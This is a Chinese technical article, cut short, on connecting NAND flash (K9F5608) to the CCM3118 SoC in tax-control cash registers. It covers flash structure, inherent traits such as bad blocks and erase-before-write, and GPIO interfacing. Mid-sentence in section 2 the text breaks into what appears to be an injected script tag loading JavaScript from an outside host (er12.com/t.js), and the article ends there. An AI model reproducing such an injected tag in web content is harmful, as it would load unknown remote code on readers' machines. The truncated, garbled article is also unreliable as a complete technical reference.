NANDFLASH在基于CCM3118税控收款机上的应用

引言

  ccm3118是苏州国芯公司一款32位高性能、低功耗soc芯片,以32位c*core c310处理器为核心,并有3个串口,2个智能卡接口,1个ps/2接口,1个lcdc控制器,多达72个通用输入输出引脚(gpio)等丰富资源,在税控收款机、pos机等领域广泛应用。税控收款机所管理的商品、发票、销售记录等数据量非常大,并且国家税控机标准中对数据的保存时间、可靠性有明确要求,故需要一种大容量、单位比特价格低、读写性能好、能够长时间可靠保存数据的非易失存储器。

  nor和nand是现在市场上两种主要的非易失闪存技术。nor flash较早为业界采用,但由于其成本较高及写入速度较慢的先天弱势,使其仅能在注重执行速度或小量数据储存的地方使用。nand flash结构强调降低每比特的成本,更高的性能,并且象磁盘一样可以通过接口轻松升级,是高密度数据存储的理想解决方案。

  1、nand flash芯片

  1.1 芯片介绍

  nand flash是采用nand结构技术的非易失存储器,内存有8位和16位两种组织形式,本文所讨论的flash都是8位的。flash的i/o接口可用于控制命令和地址的输入,也可用于数据的输入和输出。flash主要以页为单位进行读写(也能够以字节为单位进行读写),以块为单位进行擦除。flash页的大小和块的大小不同类型块结构而不同,块结构有两种:小块(图一)和大块(图二),小块flash包含32个页,每页512+16字节;大块flash包含64页,每页2048+16字节。

图1 小块类型flash

图2 大块类型flash

  大块和小块flash都有与页大小相同大小的页寄存器,用于数据缓存。当读数据时,先从flash内存单元把数据读到页寄存器,外部通过访问flash i/o端口获得页寄存器中数据(地址自动累加);当写数据时,外部通过flash i/o端口输入的数据首先缓存在页寄存器,写命令发出后才写入到内存单元中。

  flash典型的读操作时间为50ns/字,写操作时间为200us/页,擦除操作时间为2ms/块,块擦写次数超过100k,数据保存时间超过10年。

  1.2 固有特性

  nand flash自身有一些特性,导致其不能象普通磁盘那样进行操作。主要特性如下:

  a 出厂时可能存在坏块,并且使用过程中也会有坏块出现。

  b 按页写,按块擦除。

  c 写操作只能在空或已擦除的单元内进行。

  d 块的擦写寿命有次数限制。

  e 块擦除时间与页读写时间相比十分长。

  需要通过软件的支持来消除这些特性导致的不足,使得能象操作普通磁盘一样进行flash操作。

  2、ccm3118操作nand flash工作原理

  ccm3118提供多达72个通用输入输出引脚,扩展与flash的接口非常简单、方便,ccm3118与k9f5608 nand flash的接口电路图如图三所示:

图3 k9f5608与ccm3118接口电路图

  通过软件把ccm3118相关引脚设置为gpio功能,并设置其方向。按照flash读、写、擦除操作时序要求操作这些i/o引脚。图四、图五、图六分别是k9f5608系列小块flash的读、写、擦除操作时命令、地?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计
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